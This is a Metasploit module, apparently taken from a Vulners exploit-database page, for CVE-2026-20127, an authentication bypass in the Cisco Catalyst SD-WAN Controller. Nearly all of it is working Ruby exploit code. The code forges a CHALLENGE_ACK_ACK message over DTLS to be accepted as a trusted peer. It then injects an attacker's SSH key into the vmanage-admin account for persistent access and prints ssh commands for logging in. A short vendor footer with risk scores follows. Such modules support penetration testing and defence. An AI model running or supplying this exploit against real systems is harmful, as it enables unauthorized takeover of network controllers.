Cisco Catalyst SD-WAN Controller Authentication Bypass
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'fiddle'
require 'ipaddr'
require 'base64'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Catalyst SD-WAN Controller Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2026-20127)
in the Cisco Catalyst SD-WAN Controller (vSmart). The vdaemon DTLS control-plane
service fails to properly validate the verify_status byte in CHALLENGE_ACK_ACK
(msg_type=10) messages. The vbond_proc_challenge_ack_ack() handler reads an
attacker-controlled verify_status byte from the message body and, if non-zero,
sets the peer's authenticated flag to 1. Furthermore, the authentication gate in
vbond_proc_msg() exempts msg_type=10 from authentication checks, allowing an
unauthenticated peer to send this message.
An attacker can connect via DTLS 1.2 using a self-signed certificate (the server
performs no certificate validation at the handshake stage), skip the CHALLENGE_ACK
step, and send a forged CHALLENGE_ACK_ACK with verify_status=1 to become a trusted
peer without any legitimate credentials.
This module leverages the auth bypass to inject an SSH public key into the
vmanage-admin authorized_keys file via a VMANAGE_TO_PEER message, providing
persistent SSH access to the controller.
},
'Author' => ['sfewer-r7'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-20127'],
['URL', 'https://github.com/sfewer-r7/CVE-2026-20127'], # PoC
['URL', 'https://attackerkb.com/topics/bP3FMvHe7z/cve-2026-20127/rapid7-analysis'], # Technical Analysis
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk'], # Vendor advisory
['URL', 'https://blog.talosintelligence.com/uat-8616-sd-wan/'] # Additional advisory from Cisco Talos
],
'DisclosureDate' => '2026-02-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(12346),
OptInt.new('DOMAIN_ID', [true, 'SD-WAN domain ID', 1]),
OptInt.new('SITE_ID', [true, 'SD-WAN site ID', 100]),
OptPath.new('SSH_PUBLIC_KEY_FILE', [false, 'Path to an existing SSH public key file to inject'])
]
)
end
def check
result = perform_auth_bypass(ssh_key_inject: false, silent: !datastore['VERBOSE'])
if result == :vulnerable
Msf::Exploit::CheckCode::Vulnerable('Authentication bypass succeeded - server accepted forged CHALLENGE_ACK_ACK')
elsif result == :detected
Msf::Exploit::CheckCode::Detected('DTLS service detected but bypass could not be confirmed')
else
Msf::Exploit::CheckCode::Unknown('Could not determine vulnerability status')
end
rescue ::StandardError => e
vprint_error("Check failed: #{e.message}")
Msf::Exploit::CheckCode::Unknown('Check failed due to an error')
end
def run
result = perform_auth_bypass(ssh_key_inject: true, silent: false)
if result == :vulnerable
print_good('Authentication bypass and SSH key injection completed!')
else
print_error('Exploit failed')
end
end
private
def perform_auth_bypass(ssh_key_inject:, silent: false)
ssl = nil
ctx = nil
udp_sock = nil
begin
# Phase 1: DTLS handshake
ssl, ctx, udp_sock, rbio, wbio = phase1_dtls_handshake(silent: silent)
return :safe unless ssl
# Phase 2: Receive CHALLENGE
return :detected unless phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 3: Send CHALLENGE_ACK_ACK (the bypass)
return :detected unless phase3_send_challenge_ack_ack(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 4: Send Hello
return :detected unless phase4_send_hello(ssl, rbio, wbio, udp_sock, silent: silent)
# Phase 5: SSH Key Injection
phase5_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: silent) if ssh_key_inject
:vulnerable
ensure
cleanup_dtls(ssl, ctx, udp_sock)
end
end
def phase1_dtls_handshake(silent: false)
print_status('Phase 1: DTLS handshake with self-signed certificate') unless silent
load_openssl_ffi
# Generate self-signed certificate (in-memory, no files written to disk)
cert_der, key_der = generate_self_signed_cert
# Create UDP socket
udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => rport,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
# Create DTLS context
method_ptr = @f_dtls_client_method.call
fail_with(Failure::Unknown, 'DTLS_client_method() returned NULL') if method_ptr.null?
ctx = @f_ssl_ctx_new.call(method_ptr)
fail_with(Failure::Unknown, 'SSL_CTX_new() returned NULL') if ctx.null?
# Disable peer certificate verification
@f_ssl_ctx_set_verify.call(ctx, SSL_VERIFY_NONE, Fiddle::NULL)
# Load certificate and key from in-memory DER data
ret = @f_ssl_ctx_use_certificate_asn1.call(ctx, cert_der.bytesize, cert_der)
fail_with(Failure::Unknown, "SSL_CTX_use_certificate_ASN1 failed (ret=#{ret})") unless ret == 1
ret = @f_ssl_ctx_use_privatekey_asn1.call(EVP_PKEY_RSA, ctx, key_der, key_der.bytesize)
fail_with(Failure::Unknown, "SSL_CTX_use_PrivateKey_ASN1 failed (ret=#{ret})") unless ret == 1
# Create SSL object
ssl = @f_ssl_new.call(ctx)
fail_with(Failure::Unknown, 'SSL_new() returned NULL') if ssl.null?
# Create memory BIOs
mem_method = @f_bio_s_mem.call
rbio = @f_bio_new.call(mem_method)
wbio = @f_bio_new.call(mem_method)
fail_with(Failure::Unknown, 'BIO_new() returned NULL') if rbio.null? || wbio.null?
# Attach BIOs to SSL (SSL takes ownership)
@f_ssl_set_bio.call(ssl, rbio, wbio)
# Perform DTLS handshake
do_dtls_handshake(ssl, rbio, wbio, udp_sock)
print_status('DTLS handshake succeeded (self-signed cert accepted)') unless silent
[ssl, ctx, udp_sock, rbio, wbio]
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ECONNRESET => e
print_error("Connection failed: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
rescue Fiddle::DLError => e
print_error("OpenSSL FFI error: #{e.message}") unless silent
cleanup_dtls(ssl, ctx, udp_sock)
[nil, nil, nil, nil, nil]
end
def phase2_receive_challenge(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 2: Waiting for CHALLENGE from server') unless silent
hdr, body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 15)
unless hdr
print_error('No CHALLENGE received from server') unless silent
return false
end
if hdr_msg_type(hdr) != MSG_CHALLENGE
print_error("Expected CHALLENGE (type=8), got #{msg_name(hdr_msg_type(hdr))} (type=#{hdr_msg_type(hdr)})") unless silent
return false
end
print_status("CHALLENGE received (#{body.bytesize} bytes of challenge data)") unless silent
true
end
def phase3_send_challenge_ack_ack(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 3: Sending CHALLENGE_ACK_ACK with verify_status=1') unless silent
# CHALLENGE_ACK_ACK body: verify_status=1, reserved=0
ack_ack_body = [0x01, 0x00].pack('CC')
send_message(ssl, wbio, udp_sock, MSG_CHALLENGE_ACK_ACK, ack_ack_body)
# Server may respond with Hello or TEAR_DOWN
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 5)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_HELLO
print_status('Server Hello received') unless silent
elsif mtype == MSG_TEAR_DOWN
print_error('TEAR_DOWN received - server rejected the forged ACK_ACK') unless silent
return false
else
print_status("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No immediate response (server may be waiting for our Hello)') unless silent
end
true
end
def phase4_send_hello(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 4: Sending Hello as authenticated peer') unless silent
hello_body = build_hello_body
send_message(ssl, wbio, udp_sock, MSG_HELLO, hello_body)
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_HELLO
print_status('Hello response received - we are now a trusted peer') unless silent
return true
elsif mtype == MSG_TEAR_DOWN
print_warning('TEAR_DOWN received after Hello') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No Hello response') unless silent
end
false
end
def phase5_ssh_key_inject(ssl, rbio, wbio, udp_sock, silent: false)
print_status('Phase 5: SSH key injection into vmanage-admin authorized_keys') unless silent
ssh_pubkey, ssh_privkey_pem = resolve_ssh_key(silent: silent)
# Build SSH key injection body (769 bytes)
key_body = build_ssh_inject_body(ssh_pubkey)
send_message(ssl, wbio, udp_sock, MSG_VMANAGE_TO_PEER, key_body)
if datastore['SSH_PUBLIC_KEY_FILE']
# If we are using an existing key supplied by the user, just show how to connect to the NETCONF service.
print_good("Use: ssh -i <SSH_PRIVATE_KEY_FILE> vmanage-admin@#{rhost} -p 830") unless silent
else
# Write SSH key file to loot
privkey_path = store_loot(
'cisco.sdwan.sshkey',
'application/x-pem-file',
rhost,
ssh_privkey_pem,
'sdwan_ssh_key.pem',
'SSH private key for vmanage-admin access'
)
unless silent
print_status("SSH private key saved to loot: #{privkey_path}")
# Provide connection instructions
print_good('Connect to NETCONF via:')
print_line("chmod 600 #{privkey_path}")
print_line("ssh -i #{privkey_path} vmanage-admin@#{rhost} -p 830")
end
end
# Check for response
hdr, _body = recv_message(ssl, rbio, wbio, udp_sock, timeout: 5)
if hdr
mtype = hdr_msg_type(hdr)
if mtype == MSG_REGISTER_TO_VMANAGE
print_status('Server responded with: REGISTER_TO_VMANAGE (key has been injected)') unless silent
else
print_warning("Server responded with: #{msg_name(mtype)}") unless silent
end
else
print_warning('No response to key injection') unless silent
end
end
#
# vDaemon Protocol encoding/decoding
#
MSG_HELLO = 0x05
MSG_CHALLENGE = 0x08
MSG_CHALLENGE_ACK_ACK = 0x0A
MSG_TEAR_DOWN = 0x0B
MSG_REGISTER_TO_VMANAGE = 0xD
MSG_VMANAGE_TO_PEER = 0x0E
DEV_VSMART = 3
HDR_FLAGS = 0xA0
TLV_NUM_VSMARTS = 0x0021
TLV_NUM_VMANAGES = 0x0022
MSG_NAMES = {
0 => 'NEW_CHALLENGE_ACK',
1 => 'Register',
2 => 'msg2',
3 => 'msg3',
5 => 'Hello',
7 => 'Data',
8 => 'CHALLENGE',
9 => 'CHALLENGE_ACK',
10 => 'CHALLENGE_ACK_ACK',
11 => 'TEAR_DOWN',
12 => 'DELETE_VSMARTS_SERIAL',
13 => 'REGISTER_TO_VMANAGE',
14 => 'VMANAGE_TO_PEER',
15 => 'submsg'
}.freeze
def build_header(msg_type)
byte0 = msg_type & 0x0F # version=0
byte1 = (DEV_VSMART & 0x0F) << 4
domain_id = datastore['DOMAIN_ID']
site_id = datastore['SITE_ID']
[byte0, byte1, HDR_FLAGS, 0x00, domain_id, site_id].pack('CCCCN2')
end
def hdr_msg_type(hdr_bytes)
hdr_bytes.getbyte(0) & 0x0F
end
def msg_name(type)
MSG_NAMES.fetch(type) { format('Unknown(0x%02X)', type) }
end
def send_message(ssl, wbio, udp_sock, msg_type, body = ''.b)
header = build_header(msg_type)
message = header + body
vprint_status("Sending #{msg_name(msg_type)} (#{message.bytesize} bytes)")
dtls_send(ssl, wbio, udp_sock, message)
end
def recv_message(ssl, rbio, wbio, udp_sock, timeout: 10)
data = dtls_recv(ssl, rbio, wbio, udp_sock, timeout: timeout)
return [nil, nil] unless data
return [nil, nil] if data.bytesize < 12
hdr = data[0, 12]
body = data[12..] || ''.b
mtype = hdr_msg_type(hdr)
vprint_status("Received #{msg_name(mtype)} (#{data.bytesize} bytes)")
[hdr, body]
end
#
# Daemon Message body builders
#
def build_hello_body
buf = ''.b
# Preamble (4 bytes): is_dummy=false
buf << [0x00, 0x00, 0x00, 0x00].pack('CCCC')
# Address family: AF_INET
buf << [0x0002].pack('n')
# IP address (network byte order)
buf << IPAddr.new(datastore['RHOST'], Socket::AF_INET).hton
# Port
buf << [datastore['RPORT']].pack('n')
# Color
buf << [1].pack('N')
# Label/key padding (20 zero bytes)
buf << ("\x00" * 20)
# Timers
buf << [10_000, 60_000].pack('N2')
# TLV list
tlv_vsmarts = build_tlv(TLV_NUM_VSMARTS, [0x00].pack('C'))
tlv_vmanages = build_tlv(TLV_NUM_VMANAGES, [0x00].pack('C'))
buf << [2].pack('C') # TLV count
buf << tlv_vsmarts
buf << tlv_vmanages
buf
end
def build_tlv(type, value)
[type, value.bytesize].pack('n2') + value.b
end
def build_ssh_inject_body(ssh_pubkey)
key_buf = "\n".b + ssh_pubkey.b
key_buf << "\n".b unless key_buf.end_with?("\n".b)
key_buf << "\x00".b
if key_buf.bytesize < 768
key_buf << ("\x00".b * (768 - key_buf.bytesize))
end
# TLV count = 0
key_buf << [0].pack('C')
key_buf
end
#
# Certificate and SSH key generation helpers
#
def generate_self_signed_cert
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(1..0xFFFFFFFF)
cert.subject = OpenSSL::X509::Name.parse('/CN=/O=/C=')
cert.issuer = cert.subject
cert.public_key = key
cert.not_before = Time.now - 60
cert.not_after = Time.now + (365 * 86_400)
ef = OpenSSL::X509::ExtensionFactory.new
ef.subject_certificate = cert
ef.issuer_certificate = cert
cert.sign(key, OpenSSL::Digest.new('SHA256'))
[cert.to_der, key.to_der]
end
def resolve_ssh_key(silent: false)
if datastore['SSH_PUBLIC_KEY_FILE']
pubkey = File.read(datastore['SSH_PUBLIC_KEY_FILE']).strip
print_status("Using SSH public key from #{datastore['SSH_PUBLIC_KEY_FILE']}") unless silent
return [pubkey, nil]
end
# Generate new RSA keypair
print_status('Generating RSA 2048-bit SSH keypair') unless silent
key = OpenSSL::PKey::RSA.new(2048)
pubkey_str = build_openssh_pubkey(key)
privkey_pem = key.to_pem
[pubkey_str, privkey_pem]
end
def build_openssh_pubkey(key)
e_bytes = bn_to_bytes(key.e)
n_bytes = bn_to_bytes(key.n)
# Prepend 0x00 if MSB is set (two's complement sign bit)
e_bytes = "\x00".b + e_bytes if e_bytes.getbyte(0) & 0x80 != 0
n_bytes = "\x00".b + n_bytes if n_bytes.getbyte(0) & 0x80 != 0
blob = ssh_string('ssh-rsa') + ssh_string(e_bytes) + ssh_string(n_bytes)
"ssh-rsa #{Base64.strict_encode64(blob)}"
end
def ssh_string(data)
data = data.b if data.respond_to?(:b)
[data.bytesize].pack('N') + data
end
def bn_to_bytes(bn)
hex = bn.to_s(16)
hex = "0#{hex}" if hex.length.odd?
[hex].pack('H*')
end
#
# DTLS transport (Fiddle/OpenSSL C API) helpers.
#
# We need this as Ruby does not support DTLS natively, and OpenSSL's Ruby bindings do not expose the
# necessary APIs for memory BIOs and custom handshakes.
#
# OpenSSL constants for Fiddle FFI
SSL_VERIFY_NONE = 0
EVP_PKEY_RSA = 6
SSL_ERROR_WANT_READ = 2
SSL_ERROR_WANT_WRITE = 3
SSL_ERROR_ZERO_RETURN = 6
BIO_CTRL_PENDING = 10
DTLS_CTRL_HANDLE_TIMEOUT = 106
HANDSHAKE_TIMEOUT = 5
MAX_HANDSHAKE_RETRIES = 10
RECV_BUF_SIZE = 65_536
def load_openssl_ffi
return if @ffi_loaded
libssl = load_native_lib('ssl')
libcrypto = load_native_lib('crypto')
# libssl functions
@f_dtls_client_method = bind_function(libssl, 'DTLS_client_method', [], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_new = bind_function(libssl, 'SSL_CTX_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_ctx_set_verify = bind_function(libssl, 'SSL_CTX_set_verify', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_use_certificate_asn1 = bind_function(libssl, 'SSL_CTX_use_certificate_ASN1', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_ctx_use_privatekey_asn1 = bind_function(libssl, 'SSL_CTX_use_PrivateKey_ASN1', [Fiddle::TYPE_INT, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_LONG], Fiddle::TYPE_INT)
@f_ssl_new = bind_function(libssl, 'SSL_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_ssl_set_bio = bind_function(libssl, 'SSL_set_bio', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_connect = bind_function(libssl, 'SSL_connect', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)
@f_ssl_read = bind_function(libssl, 'SSL_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_write = bind_function(libssl, 'SSL_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_get_error = bind_function(libssl, 'SSL_get_error', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_ssl_free = bind_function(libssl, 'SSL_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctx_free = bind_function(libssl, 'SSL_CTX_free', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID)
@f_ssl_ctrl = bind_function(libssl, 'SSL_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
# libcrypto functions
@f_bio_new = bind_function(libcrypto, 'BIO_new', [Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOIDP)
@f_bio_s_mem = bind_function(libcrypto, 'BIO_s_mem', [], Fiddle::TYPE_VOIDP)
@f_bio_read = bind_function(libcrypto, 'BIO_read', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_write = bind_function(libcrypto, 'BIO_write', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT], Fiddle::TYPE_INT)
@f_bio_ctrl = bind_function(libcrypto, 'BIO_ctrl', [Fiddle::TYPE_VOIDP, Fiddle::TYPE_INT, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_LONG)
@f_err_clear_error = bind_function(libcrypto, 'ERR_clear_error', [], Fiddle::TYPE_VOID)
@f_err_get_error = bind_function(libcrypto, 'ERR_get_error', [], Fiddle::TYPE_LONG)
@f_err_error_string_n = bind_function(libcrypto, 'ERR_error_string_n', [Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T], Fiddle::TYPE_VOID)
@recv_buf = Fiddle::Pointer.malloc(RECV_BUF_SIZE, Fiddle::RUBY_FREE)
@ffi_loaded = true
vprint_status('OpenSSL FFI bindings loaded successfully')
end
def load_native_lib(name)
candidates = case RUBY_PLATFORM
when /mingw|mswin|cygwin/
bin = RbConfig::CONFIG['bindir']
arch_dir = RbConfig::CONFIG['archdir']
site_arch = RbConfig::CONFIG['sitearchdir']
paths = []
[arch_dir, site_arch, bin].compact.uniq.each do |dir|
paths << "#{dir}/lib#{name}-3-x64.dll"
paths << "#{dir}/lib#{name}-3.dll"
paths << "#{dir}/lib#{name}-1_1-x64.dll"
end
paths += %W[lib#{name}-3-x64 lib#{name}-3 lib#{name}]
paths
when /darwin/
%W[
/usr/local/opt/openssl@3/lib/lib#{name}.3.dylib
/usr/local/opt/openssl/lib/lib#{name}.dylib
/opt/homebrew/opt/openssl@3/lib/lib#{name}.3.dylib
/opt/homebrew/opt/openssl/lib/lib#{name}.dylib
/opt/local/lib/lib#{name}.3.dylib
/opt/local/lib/lib#{name}.dylib
]
else
%W[lib#{name}.so]
end
candidates.each do |path|
next if path.start_with?('/') && !File.exist?(path)
return Fiddle.dlopen(path)
rescue Fiddle::DLError
next
end
fail_with(Failure::NotFound, "Cannot find lib#{name}. Ensure OpenSSL is installed.")
end
def bind_function(lib, name, args, ret)
Fiddle::Function.new(lib[name], args, ret)
end
def bio_ctrl_pending(bio)
@f_bio_ctrl.call(bio, BIO_CTRL_PENDING, 0, Fiddle::NULL)
end
def handle_dtls_timeout(ssl)
@f_ssl_ctrl.call(ssl, DTLS_CTRL_HANDLE_TIMEOUT, 0, Fiddle::NULL)
end
def drain_openssl_errors
msgs = []
loop do
code = @f_err_get_error.call
break if code == 0
buf = Fiddle::Pointer.malloc(256, Fiddle::RUBY_FREE)
@f_err_error_string_n.call(code, buf, 256)
msgs << buf.to_s
end
msgs
end
# Drive the DTLS handshake state machine, shuttling data between the
# SSL engine and the UDP socket via memory BIOs.
def do_dtls_handshake(ssl, rbio, wbio, udp_sock)
retries = 0
loop do
@f_err_clear_error.call
ret = @f_ssl_connect.call(ssl)
flush_wbio(wbio, udp_sock)
break if ret == 1
err = @f_ssl_get_error.call(ssl, ret)
case err
when SSL_ERROR_WANT_READ
ready = ::IO.select([udp_sock], nil, nil, HANDSHAKE_TIMEOUT)
if ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
@f_bio_write.call(rbio, dgram, dgram.bytesize)
rescue ::IO::WaitReadable
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
else
retries += 1
fail_with(Failure::Unreachable, "DTLS handshake timeout after #{retries} retries") if retries > MAX_HANDSHAKE_RETRIES
handle_dtls_timeout(ssl)
flush_wbio(wbio, udp_sock)
end
when SSL_ERROR_WANT_WRITE
flush_wbio(wbio, udp_sock)
else
errors = drain_openssl_errors
fail_with(Failure::Unknown, "DTLS handshake failed (SSL error #{err}): #{errors.join('; ')}")
end
end
end
def flush_wbio(wbio, udp_sock)
loop do
pending = bio_ctrl_pending(wbio)
break if pending <= 0
buf = Fiddle::Pointer.malloc(pending, Fiddle::RUBY_FREE)
n = @f_bio_read.call(wbio, buf, pending)
break if n <= 0
udp_sock.write(buf.to_str(n))
end
end
def dtls_send(ssl, wbio, udp_sock, data)
@f_err_clear_error.call
ret = @f_ssl_write.call(ssl, data, data.bytesize)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
errors = drain_openssl_errors
fail_with(Failure::Unknown, "SSL_write failed (error #{err}): #{errors.join('; ')}")
end
flush_wbio(wbio, udp_sock)
ret
end
def dtls_recv(ssl, rbio, _wbio, udp_sock, timeout: 10)
ready = ::IO.select([udp_sock], nil, nil, timeout)
return nil unless ready
begin
dgram = udp_sock.recvfrom(65_536)[0]
rescue ::IO::WaitReadable
return nil
end
@f_bio_write.call(rbio, dgram, dgram.bytesize)
@f_err_clear_error.call
ret = @f_ssl_read.call(ssl, @recv_buf, RECV_BUF_SIZE)
if ret <= 0
err = @f_ssl_get_error.call(ssl, ret)
return nil if err == SSL_ERROR_WANT_READ
vprint_status("SSL_read error: #{err}")
return nil
end
@recv_buf.to_str(ret).b
end
def cleanup_dtls(ssl, ctx, udp_sock)
if ssl
begin
@f_ssl_free.call(ssl)
rescue ::StandardError
nil
end
end
if ctx
begin
@f_ssl_ctx_free.call(ctx)
rescue ::StandardError
nil
end
end
begin
udp_sock&.close
rescue ::StandardError
nil
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Feb 2026 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.110
EPSS0.88243
SSVC